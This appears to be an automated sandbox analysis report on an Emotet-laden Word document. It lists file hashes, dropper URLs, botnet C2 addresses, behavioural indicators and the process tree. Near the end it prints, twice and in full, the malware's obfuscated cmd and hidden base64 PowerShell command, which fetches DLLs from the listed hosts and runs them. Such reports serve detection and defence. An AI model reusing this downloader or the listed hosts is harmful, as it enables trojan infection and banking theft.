emotet | 91838d966b87d7050c800b95ea4cffdeb6104358403b294e5da10f87540f99c4

Analysis

max time kernel
150s
max time network
151s
platform
windows7_x64
resource
win7v20201028
submitted
11-02-2021 19:59

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Report Analysis Logs

General

Target

91838d966b87d7050c800b95ea4cffdeb6104358403b294e5da10f87540f99c4.doc
Size

168KB
MD5

d63f3d22f23e80f57e5832c274b03653
SHA1

3fc9783709279af2306bba8dd5b78dc59024a7a9
SHA256

91838d966b87d7050c800b95ea4cffdeb6104358403b294e5da10f87540f99c4
SHA512

f6cb2ae2f9a364c93e77ef080cb2d0b3e48198d11ef22fed2cc8f2d5e9b3c72de52bcaa0f41fabcd23eca62e8f7580148e2439cbec0f32e8fbd85f2399823508

Score

10^/10

emotet epoch2 banker trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://dripsweet.com/wp-admin/gTiO/

exe.dropper

http://jbsmediaventures.com/wp-content/V/

exe.dropper

https://www.r3-tech.biz/wp-admin/VT/

exe.dropper

http://yaginc.com/images/tk/

exe.dropper

http://novo2.deussalveobrasil.com.br/tractor-parts-gh28c/9/

exe.dropper

http://trekkingfestival.com/demo/C/

exe.dropper

http://narmada.mykfn.com/app/DqKG1/

Extracted

Family

emotet

Botnet

Epoch2

69.38.130.14:80

195.159.28.230:8080

162.241.204.233:8080

115.21.224.117:80

78.189.148.42:80

181.165.68.127:80

78.188.225.105:80

161.0.153.60:80

89.106.251.163:80

172.125.40.123:80

5.39.91.110:7080

110.145.11.73:80

190.251.200.206:80

144.217.7.207:7080

75.109.111.18:80

75.177.207.146:80

139.59.60.244:8080

70.183.211.3:80

95.213.236.64:8080

61.19.246.238:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1532 800 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1532	800	cmd.exe

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exerundll32.exe

flow	pid	process
7	1608	powershell.exe
9	1608	powershell.exe
12	1608	powershell.exe
14	1608	powershell.exe
16	1608	powershell.exe
18	1352	rundll32.exe
21	1352	rundll32.exe
22	1352	rundll32.exe
25	1352	rundll32.exe

Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

748 rundll32.exe
748 rundll32.exe
748 rundll32.exe
748 rundll32.exe
1588 rundll32.exe
1588 rundll32.exe
1588 rundll32.exe
1588 rundll32.exe

pid	process
748	rundll32.exe
748	rundll32.exe
748	rundll32.exe
748	rundll32.exe
1588	rundll32.exe
1588	rundll32.exe
1588	rundll32.exe
1588	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Nknmczneyf\mkmgqvccs.dkh	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1596 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exerundll32.exe

pid process

1608 powershell.exe
1608 powershell.exe
1352 rundll32.exe
1352 rundll32.exe
1352 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1608 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1596 WINWORD.EXE
1596 WINWORD.EXE

pid	process
1596	WINWORD.EXE

pid	process
1608	powershell.exe
1608	powershell.exe
1352	rundll32.exe
1352	rundll32.exe
1352	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1608	powershell.exe

pid	process
1596	WINWORD.EXE
1596	WINWORD.EXE

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1532 wrote to memory of 1612	1532	cmd.exe	msg.exe
PID 1532 wrote to memory of 1612	1532	cmd.exe	msg.exe
PID 1532 wrote to memory of 1612	1532	cmd.exe	msg.exe
PID 1532 wrote to memory of 1608	1532	cmd.exe	powershell.exe
PID 1532 wrote to memory of 1608	1532	cmd.exe	powershell.exe
PID 1532 wrote to memory of 1608	1532	cmd.exe	powershell.exe
PID 1608 wrote to memory of 1524	1608	powershell.exe	rundll32.exe
PID 1608 wrote to memory of 1524	1608	powershell.exe	rundll32.exe
PID 1608 wrote to memory of 1524	1608	powershell.exe	rundll32.exe
PID 1524 wrote to memory of 748	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 748	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 748	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 748	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 748	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 748	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 748	1524	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 1588	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 1588	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 1588	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 1588	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 1588	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 1588	748	rundll32.exe	rundll32.exe
PID 748 wrote to memory of 1588	748	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1820	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1820	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1820	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1820	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1820	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1820	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1820	1588	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1352	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1352	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1352	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1352	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1352	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1352	1820	rundll32.exe	rundll32.exe
PID 1820 wrote to memory of 1352	1820	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\91838d966b87d7050c800b95ea4cffdeb6104358403b294e5da10f87540f99c4.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1596

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAEUAVAAgACgAIgA4AHoAdwAiACsAIgBIACIAKQAgACgAIAAgAFsAdAB5AFAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADMAfQB7ADUAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAE8AcgB5ACcALAAnAEUAYwB0ACcALAAnAFMAeQBTAHQAZQAnACwAJwBvAC4AZAAnACwAJwBtAC4AaQAnACwAJwBJAFIAJwApACAAIAApACAAOwBzAGUAVAAgACAAKAAnAEQAQwAnACsAJwB1AFIAJwApACAAIAAoACAAIABbAHQAeQBwAGUAXQAoACIAewAwAH0AewA4AH0AewA0AH0AewA5AH0AewAyAH0AewAxAH0AewAzAH0AewA2AH0AewA1AH0AewA3AH0AIgAgAC0ARgAgACcAUwB5AHMAJwAsACcARQBSACcALAAnAFMAJwAsACcAdgAnACwAJwAuAE4ARQBUACcALAAnAG8AaQBuAFQAbQBhACcALAAnAGkAYwBFAFAAJwAsACcATgBBAGcAZQByACcALAAnAHQARQBNACcALAAnAC4AJwApACAAKQAgADsAJABUAHQAZQAyAGEAdAAxAD0AJABLADYAMgBWACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABTADcAMABNADsAJABJADQAXwBKAD0AKAAnAFUAMAAnACsAJwA2AEkAJwApADsAIAAoACAAZwBlAHQALQB2AGEAUgBpAEEAQgBsAEUAIAAoACIAOABaAHcAIgArACIASAAiACkAIAAtAHYAQQBsAHUAZQBvAG4AbAAgACkAOgA6ACIAQwByAEUAQQBgAFQAZQBgAGQASQBSAGAAZQBjAFQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAZwA3AGkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqADkAJwArACcAdwAnACkAKwAoACcAXwAnACsAJwBsAGcAJwArACcANwBpAFkAcwAxAHcAJwArACcAdQAnACkAKwAoACcAbgA1ACcAKwAnAGcANwBpACcAKQApACAAIAAtAEMAcgBFAFAATABhAEMARQAoAFsAQwBIAGEAUgBdADEAMAAzACsAWwBDAEgAYQBSAF0ANQA1ACsAWwBDAEgAYQBSAF0AMQAwADUAKQAsAFsAQwBIAGEAUgBdADkAMgApACkAOwAkAEUAOAA2AFAAPQAoACcAVwAyACcAKwAnADIAVQAnACkAOwAgACAAKAAgACAASQB0AGUAbQAgACgAIgBWACIAKwAiAGEAUgBJAEEAQgBMACIAKwAiAGUAOgBEAEMAVQBSACIAKQAgACAAKQAuAFYAQQBsAHUARQA6ADoAIgBzAGUAYwB1AFIAYABJAFQAWQBQAFIAbwBgAFQATwBjAGAAbwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABFADUAOABDAD0AKAAoACcATQAnACsAJwA1ADAAJwApACsAJwBWACcAKQA7ACQASQB2AGYAdAB5AHAAdwAgAD0AIAAoACgAJwBJADQAJwArACcANQAnACkAKwAnAFEAJwApADsAJABaADAANwBJAD0AKAAoACcAVAAxACcAKwAnADEAJwApACsAJwBDACcAKQA7ACQASwBwAHoAZAA3AGMAZQA9ACQASABPAE0ARQArACgAKAAoACcAMQAwADkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqACcAKwAnADkAdwAnACkAKwAoACcAXwBsADEAMAA5AFkAcwAnACsAJwAxACcAKwAnAHcAJwApACsAJwB1AG4AJwArACcANQAxACcAKwAnADAAOQAnACkALgAiAHIARQBwAGAAbABhAEMARQAiACgAKABbAGMASABhAHIAXQA0ADkAKwBbAGMASABhAHIAXQA0ADgAKwBbAGMASABhAHIAXQA1ADcAKQAsAFsAUwBUAFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACsAJABJAHYAZgB0AHkAcAB3ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABTADEANwBCAD0AKAAnAE8AJwArACgAJwA1ADIAJwArACcARAAnACkAKQA7ACQATwBjAHkAZQB4AHMAMAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFcAYwB5AGIAZwAxADcAPQAoACcAeAAnACsAJwAgAFsAJwArACgAJwAgACcAKwAnAHMAaAAnACkAKwAoACcAIAAnACsAJwBiADoALwAvACcAKQArACgAJwBkAHIAaQBwAHMAdwBlACcAKwAnAGUAdAAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGEAJwArACcAZABtAGkAbgAvAGcAJwArACcAVABpAE8ALwAnACsAJwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACsAJwAgAHMAaAAgAGIAOgAnACsAJwAvAC8AagAnACkAKwAoACcAYgBzAG0AZQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAGEAJwArACcAdgBlAG4AJwApACsAKAAnAHQAdQByACcAKwAnAGUAcwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdABlAG4AdAAvAFYAJwArACcALwAhAHgAJwArACcAIABbACcAKQArACcAIABzACcAKwAoACcAaAAnACsAJwAgAGIAJwApACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwAnACsAJwB3ACcAKQArACgAJwAuAHIAJwArACcAMwAtAHQAJwApACsAKAAnAGUAYwAnACsAJwBoACcAKQArACcALgBiACcAKwAoACcAaQB6ACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACsAJwBWAFQALwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACkAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgA6AC8ALwB5AGEAJwArACcAZwBpACcAKQArACgAJwBuACcAKwAnAGMAJwArACcALgBjAG8AbQAvAGkAbQBhAGcAZQBzACcAKwAnAC8AdABrAC8AIQAnACsAJwB4ACAAWwAgACcAKQArACgAJwBzAGgAIABiACcAKwAnADoALwAnACkAKwAoACcALwBuAG8AdgAnACsAJwBvADIAJwArACcALgAnACkAKwAoACcAZABlACcAKwAnAHUAcwAnACsAJwBzAGEAbAB2ACcAKwAnAGUAbwBiAHIAYQBzAGkAJwApACsAKAAnAGwALgBjAG8AJwArACcAbQAnACkAKwAnAC4AYgAnACsAJwByACcAKwAoACcALwB0AHIAYQAnACsAJwBjAHQAbwAnACkAKwAnAHIALQAnACsAJwBwACcAKwAoACcAYQAnACsAJwByAHQAJwApACsAJwBzAC0AJwArACcAZwBoACcAKwAoACcAMgAnACsAJwA4AGMALwA5AC8AIQAnACkAKwAoACcAeAAgAFsAIAAnACsAJwBzACcAKQArACgAJwBoACAAJwArACcAYgA6AC8AJwApACsAKAAnAC8AdAByAGUAawBrACcAKwAnAGkAbgAnACkAKwAoACcAZwBmAGUAcwB0ACcAKwAnAGkAdgAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwBkACcAKwAnAGUAbQAnACsAJwBvAC8AJwArACcAQwAvACEAeAAgAFsAIABzACcAKQArACgAJwBoACAAYgA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAbgBhAHIAJwArACcAbQAnACkAKwAoACcAYQAnACsAJwBkAGEAJwArACcALgBtAHkAawBmACcAKQArACgAJwBuACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AYQBwAHAALwAnACsAJwBEAHEASwAnACsAJwBHADEALwAnACkAKQAuACIAcgBlAGAAcABsAGAAQQBDAGUAIgAoACgAKAAnAHgAIAAnACsAJwBbACcAKQArACgAJwAgACcAKwAnAHMAaAAnACkAKwAnACAAYgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE8AYwB5AGUAeABzADAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAHQAIgAoACQAWQA3ADAAQQAgACsAIAAkAFQAdABlADIAYQB0ADEAIAArACAAJABLADEAOABWACkAOwAkAFYAMwAwAFkAPQAoACcAQQA3ACcAKwAnADkAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAYQB3ADEAOABxADUAIABpAG4AIAAkAFcAYwB5AGIAZwAxADcAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAFMAWQBzAFQARQBNAC4AbgBlAHQALgBXAGUAYgBjAEwAaQBlAE4AVAApAC4AIgBkAE8AdwBgAE4ATABgAE8AYQBEAEYAaQBgAGwARQAiACgAJABMAGEAdwAxADgAcQA1ACwAIAAkAEsAcAB6AGQANwBjAGUAKQA7ACQARAA1ADcARwA9ACgAJwBLADAAJwArACcAOQBYACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABLAHAAegBkADcAYwBlACkALgAiAGwAZQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADgAOAAzADEAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAJwArACcAMwAyACcAKQAgACQASwBwAHoAZAA3AGMAZQAsACgAKAAnAEEAbgAnACsAJwB5AFMAJwApACsAKAAnAHQAJwArACcAcgBpACcAKQArACcAbgBnACcAKQAuACIAdABPAGAAcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQARwA0ADAAUwA9ACgAKAAnAFkANwAnACsAJwA4ACcAKQArACcATwAnACkAOwBiAHIAZQBhAGsAOwAkAEsAMwA4AEEAPQAoACcARwA3ACcAKwAnADQAWAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANAA3AFEAPQAoACgAJwBaADgAJwArACcANQAnACkAKwAnAEgAJwApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1532

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABzAEUAVAAgACgAIgA4AHoAdwAiACsAIgBIACIAKQAgACgAIAAgAFsAdAB5AFAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADMAfQB7ADUAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAE8AcgB5ACcALAAnAEUAYwB0ACcALAAnAFMAeQBTAHQAZQAnACwAJwBvAC4AZAAnACwAJwBtAC4AaQAnACwAJwBJAFIAJwApACAAIAApACAAOwBzAGUAVAAgACAAKAAnAEQAQwAnACsAJwB1AFIAJwApACAAIAAoACAAIABbAHQAeQBwAGUAXQAoACIAewAwAH0AewA4AH0AewA0AH0AewA5AH0AewAyAH0AewAxAH0AewAzAH0AewA2AH0AewA1AH0AewA3AH0AIgAgAC0ARgAgACcAUwB5AHMAJwAsACcARQBSACcALAAnAFMAJwAsACcAdgAnACwAJwAuAE4ARQBUACcALAAnAG8AaQBuAFQAbQBhACcALAAnAGkAYwBFAFAAJwAsACcATgBBAGcAZQByACcALAAnAHQARQBNACcALAAnAC4AJwApACAAKQAgADsAJABUAHQAZQAyAGEAdAAxAD0AJABLADYAMgBWACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABTADcAMABNADsAJABJADQAXwBKAD0AKAAnAFUAMAAnACsAJwA2AEkAJwApADsAIAAoACAAZwBlAHQALQB2AGEAUgBpAEEAQgBsAEUAIAAoACIAOABaAHcAIgArACIASAAiACkAIAAtAHYAQQBsAHUAZQBvAG4AbAAgACkAOgA6ACIAQwByAEUAQQBgAFQAZQBgAGQASQBSAGAAZQBjAFQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAZwA3AGkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqADkAJwArACcAdwAnACkAKwAoACcAXwAnACsAJwBsAGcAJwArACcANwBpAFkAcwAxAHcAJwArACcAdQAnACkAKwAoACcAbgA1ACcAKwAnAGcANwBpACcAKQApACAAIAAtAEMAcgBFAFAATABhAEMARQAoAFsAQwBIAGEAUgBdADEAMAAzACsAWwBDAEgAYQBSAF0ANQA1ACsAWwBDAEgAYQBSAF0AMQAwADUAKQAsAFsAQwBIAGEAUgBdADkAMgApACkAOwAkAEUAOAA2AFAAPQAoACcAVwAyACcAKwAnADIAVQAnACkAOwAgACAAKAAgACAASQB0AGUAbQAgACgAIgBWACIAKwAiAGEAUgBJAEEAQgBMACIAKwAiAGUAOgBEAEMAVQBSACIAKQAgACAAKQAuAFYAQQBsAHUARQA6ADoAIgBzAGUAYwB1AFIAYABJAFQAWQBQAFIAbwBgAFQATwBjAGAAbwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABFADUAOABDAD0AKAAoACcATQAnACsAJwA1ADAAJwApACsAJwBWACcAKQA7ACQASQB2AGYAdAB5AHAAdwAgAD0AIAAoACgAJwBJADQAJwArACcANQAnACkAKwAnAFEAJwApADsAJABaADAANwBJAD0AKAAoACcAVAAxACcAKwAnADEAJwApACsAJwBDACcAKQA7ACQASwBwAHoAZAA3AGMAZQA9ACQASABPAE0ARQArACgAKAAoACcAMQAwADkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqACcAKwAnADkAdwAnACkAKwAoACcAXwBsADEAMAA5AFkAcwAnACsAJwAxACcAKwAnAHcAJwApACsAJwB1AG4AJwArACcANQAxACcAKwAnADAAOQAnACkALgAiAHIARQBwAGAAbABhAEMARQAiACgAKABbAGMASABhAHIAXQA0ADkAKwBbAGMASABhAHIAXQA0ADgAKwBbAGMASABhAHIAXQA1ADcAKQAsAFsAUwBUAFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACsAJABJAHYAZgB0AHkAcAB3ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABTADEANwBCAD0AKAAnAE8AJwArACgAJwA1ADIAJwArACcARAAnACkAKQA7ACQATwBjAHkAZQB4AHMAMAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFcAYwB5AGIAZwAxADcAPQAoACcAeAAnACsAJwAgAFsAJwArACgAJwAgACcAKwAnAHMAaAAnACkAKwAoACcAIAAnACsAJwBiADoALwAvACcAKQArACgAJwBkAHIAaQBwAHMAdwBlACcAKwAnAGUAdAAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGEAJwArACcAZABtAGkAbgAvAGcAJwArACcAVABpAE8ALwAnACsAJwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACsAJwAgAHMAaAAgAGIAOgAnACsAJwAvAC8AagAnACkAKwAoACcAYgBzAG0AZQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAGEAJwArACcAdgBlAG4AJwApACsAKAAnAHQAdQByACcAKwAnAGUAcwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdABlAG4AdAAvAFYAJwArACcALwAhAHgAJwArACcAIABbACcAKQArACcAIABzACcAKwAoACcAaAAnACsAJwAgAGIAJwApACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwAnACsAJwB3ACcAKQArACgAJwAuAHIAJwArACcAMwAtAHQAJwApACsAKAAnAGUAYwAnACsAJwBoACcAKQArACcALgBiACcAKwAoACcAaQB6ACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACsAJwBWAFQALwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACkAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgA6AC8ALwB5AGEAJwArACcAZwBpACcAKQArACgAJwBuACcAKwAnAGMAJwArACcALgBjAG8AbQAvAGkAbQBhAGcAZQBzACcAKwAnAC8AdABrAC8AIQAnACsAJwB4ACAAWwAgACcAKQArACgAJwBzAGgAIABiACcAKwAnADoALwAnACkAKwAoACcALwBuAG8AdgAnACsAJwBvADIAJwArACcALgAnACkAKwAoACcAZABlACcAKwAnAHUAcwAnACsAJwBzAGEAbAB2ACcAKwAnAGUAbwBiAHIAYQBzAGkAJwApACsAKAAnAGwALgBjAG8AJwArACcAbQAnACkAKwAnAC4AYgAnACsAJwByACcAKwAoACcALwB0AHIAYQAnACsAJwBjAHQAbwAnACkAKwAnAHIALQAnACsAJwBwACcAKwAoACcAYQAnACsAJwByAHQAJwApACsAJwBzAC0AJwArACcAZwBoACcAKwAoACcAMgAnACsAJwA4AGMALwA5AC8AIQAnACkAKwAoACcAeAAgAFsAIAAnACsAJwBzACcAKQArACgAJwBoACAAJwArACcAYgA6AC8AJwApACsAKAAnAC8AdAByAGUAawBrACcAKwAnAGkAbgAnACkAKwAoACcAZwBmAGUAcwB0ACcAKwAnAGkAdgAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwBkACcAKwAnAGUAbQAnACsAJwBvAC8AJwArACcAQwAvACEAeAAgAFsAIABzACcAKQArACgAJwBoACAAYgA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAbgBhAHIAJwArACcAbQAnACkAKwAoACcAYQAnACsAJwBkAGEAJwArACcALgBtAHkAawBmACcAKQArACgAJwBuACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AYQBwAHAALwAnACsAJwBEAHEASwAnACsAJwBHADEALwAnACkAKQAuACIAcgBlAGAAcABsAGAAQQBDAGUAIgAoACgAKAAnAHgAIAAnACsAJwBbACcAKQArACgAJwAgACcAKwAnAHMAaAAnACkAKwAnACAAYgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE8AYwB5AGUAeABzADAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAHQAIgAoACQAWQA3ADAAQQAgACsAIAAkAFQAdABlADIAYQB0ADEAIAArACAAJABLADEAOABWACkAOwAkAFYAMwAwAFkAPQAoACcAQQA3ACcAKwAnADkAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAYQB3ADEAOABxADUAIABpAG4AIAAkAFcAYwB5AGIAZwAxADcAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAFMAWQBzAFQARQBNAC4AbgBlAHQALgBXAGUAYgBjAEwAaQBlAE4AVAApAC4AIgBkAE8AdwBgAE4ATABgAE8AYQBEAEYAaQBgAGwARQAiACgAJABMAGEAdwAxADgAcQA1ACwAIAAkAEsAcAB6AGQANwBjAGUAKQA7ACQARAA1ADcARwA9ACgAJwBLADAAJwArACcAOQBYACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABLAHAAegBkADcAYwBlACkALgAiAGwAZQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADgAOAAzADEAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAJwArACcAMwAyACcAKQAgACQASwBwAHoAZAA3AGMAZQAsACgAKAAnAEEAbgAnACsAJwB5AFMAJwApACsAKAAnAHQAJwArACcAcgBpACcAKQArACcAbgBnACcAKQAuACIAdABPAGAAcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQARwA0ADAAUwA9ACgAKAAnAFkANwAnACsAJwA4ACcAKQArACcATwAnACkAOwBiAHIAZQBhAGsAOwAkAEsAMwA4AEEAPQAoACcARwA3ACcAKwAnADQAWAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANAA3AFEAPQAoACgAJwBaADgAJwArACcANQAnACkAKwAnAEgAJwApAA==
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1608

C:\Windows\system32\rundll32.exe
